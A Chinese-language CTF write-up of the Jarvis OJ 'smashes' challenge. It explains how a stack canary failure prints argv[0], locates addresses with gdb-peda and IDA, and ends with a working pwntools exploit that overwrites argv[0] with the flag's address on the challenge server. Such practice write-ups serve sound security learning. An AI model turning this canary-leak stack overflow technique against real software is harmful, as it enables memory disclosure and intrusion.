nc pwn.jarvisoj.com 9877
检查开启的保护
liu@ubuntu:~/Desktop$ checksec 2
[*] '/home/liu/Desktop/2'Arch: amd64-64-littleRELRO: No RELROStack: Canary found #栈保护NX: NX enabled #栈数据只读PIE: No PIE (0x400000)FORTIFY: Enabled
这里开启了栈中数据不可执行和栈保护。
所谓栈保护是在ebp入栈后再把一个值放入到栈里面(不一低和ebp相邻)。我们把它称为canary,如果我们覆盖返回地址就必须把canary的值覆盖掉,函数返回时会判断canary的值是否改变,如果改变会调用_stack_chk_fail 打印argv[0]。
如果我们把argv[0]的值覆盖为要打印的flag不就成功了。我们需要什么呢?
- 程序运行时argv[0]的地址(argv[0]存放的是程序的名字,有些事程序路径和名字)
- 程序读入我们输入的字符串存放的地址。
- 要输出的字符串的地址
下面就找一下地址构造payload了
gdb-peda$ b *0x4006d0
Breakpoint 1 at 0x4006d0
gdb-peda$ run
Starting program: /home/liu/Desktop/2 [----------------------------------registers-----------------------------------]
RAX: 0x4006d0 (sub rsp,0x8)
RBX: 0x0
RCX: 0x0
RDX: 0x7fffffffdfb8 --> 0x7fffffffe329 ("XDG_VTNR=7")
RSI: 0x7fffffffdfa8 --> 0x7fffffffe315 ("/home/liu/Desktop/2")
RDI: 0x1
RBP: 0x4008b0 (push r15)
RSP: 0x7fffffffdec8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
RIP: 0x4006d0 (sub rsp,0x8)
R8 : 0x400920 (repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x846
R11: 0x7ffff7a2d740 (<__libc_start_main>: push r14)
R12: 0x4006ee (xor ebp,ebp)
R13: 0x7fffffffdfa0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x4006c0 <_IO_gets@plt>: jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <_IO_gets@got.plt>0x4006c6 <_IO_gets@plt+6>: push 0x90x4006cb <_IO_gets@plt+11>: jmp 0x400620
=> 0x4006d0: sub rsp,0x80x4006d4: mov rdi,QWORD PTR [rip+0x200665] # 0x600d40 <stdout>0x4006db: xor esi,esi0x4006dd: call 0x400660 <setbuf@plt>0x4006e2: call 0x4007e0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0008| 0x7fffffffded0 --> 0x0
0016| 0x7fffffffded8 --> 0x7fffffffdfa8 --> 0x7fffffffe315 ("/home/liu/Desktop/2")
0024| 0x7fffffffdee0 --> 0x1f7ffcca0
0032| 0x7fffffffdee8 --> 0x4006d0 (sub rsp,0x8)
0040| 0x7fffffffdef0 --> 0x0
0048| 0x7fffffffdef8 --> 0x7c720f485bcd93ce
0056| 0x7fffffffdf00 --> 0x4006ee (xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueBreakpoint 1, 0x00000000004006d0 in ?? ()
当然也可以find一下。
gdb-peda$ find /home/liu/Desktop
Searching for '/home/liu/Desktop' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe315 ("/home/liu/Desktop/2") [stack] : 0x7fffffffec64 ("/home/liu/Desktop") [stack] : 0x7fffffffefe4 ("/home/liu/Desktop/2")
0x7fffffffe315这个地址不会错了。
下面就是找我们输入的字符串的首地址了
text:0000000000400804 xor eax, eax
.text:0000000000400806 call ___printf_chk
.text:000000000040080B mov rdi, rsp
.text:000000000040080E call __IO_gets
.text:0000000000400813 test rax, rax
断点下到0x0000000000400813 就可以啦
gdb-peda$ b *0x400813
Breakpoint 2 at 0x400813
gdb-peda$ c
Continuing.
Hello!
What's your name? 12345678[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd90 ("12345678")
RBX: 0x0
RCX: 0x7ffff7dd18e0 --> 0xfbad2288
RDX: 0x7ffff7dd3790 --> 0x0
RSI: 0x601018 --> 0xa ('\n')
RDI: 0x7fffffffdd98 --> 0x0
RBP: 0x4008b0 (push r15)
RSP: 0x7fffffffdd90 ("12345678")
RIP: 0x400813 (test rax,rax)
R8 : 0x601019 --> 0x0
R9 : 0x0
0x7fffffffdd90这就是输入的值在栈中的存放位置了
要找的字符串在IDA里面找一下
data:0000000000600D20 byte_600D20 db 'P' ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{
Here',27h,'s the flag on server}',0
不过这里的flag字符串是被覆盖掉了
goto LABEL_9;if ( v1 == 10 )break;byte_600D20[v0++] = v1;if ( v0 == 32 )goto LABEL_8;}
不过在覆盖掉之前会把它映射到其他地方的我们可以find一下
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
2 : 0x400d20 ("PCTF{Here's the flag on server}")
2 : 0x600d20 ("PCTF{Here's the flag on server}")
0x400d20这里就是了
(0x7fffffffe315-0x7fffffffdd90)/8=176
from pwn import *
from time import *p = remote('pwn.jarvisoj.com',9877)
p.recvuntil("name?")
payload = p64(0x400D20)*176
p.sendline(payload)
p.recvuntil('flag:')
p.sendline("1")
p.interactive()
更详细解题推荐https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/
总结:解这个题学到了栈保护机制,也找了一下Linux下动态加载库文件的技术。http://www.cnblogs.com/xingyun/archive/2011/12/10/2283149.html
还有就是_IO_gets()函数也是不安全的。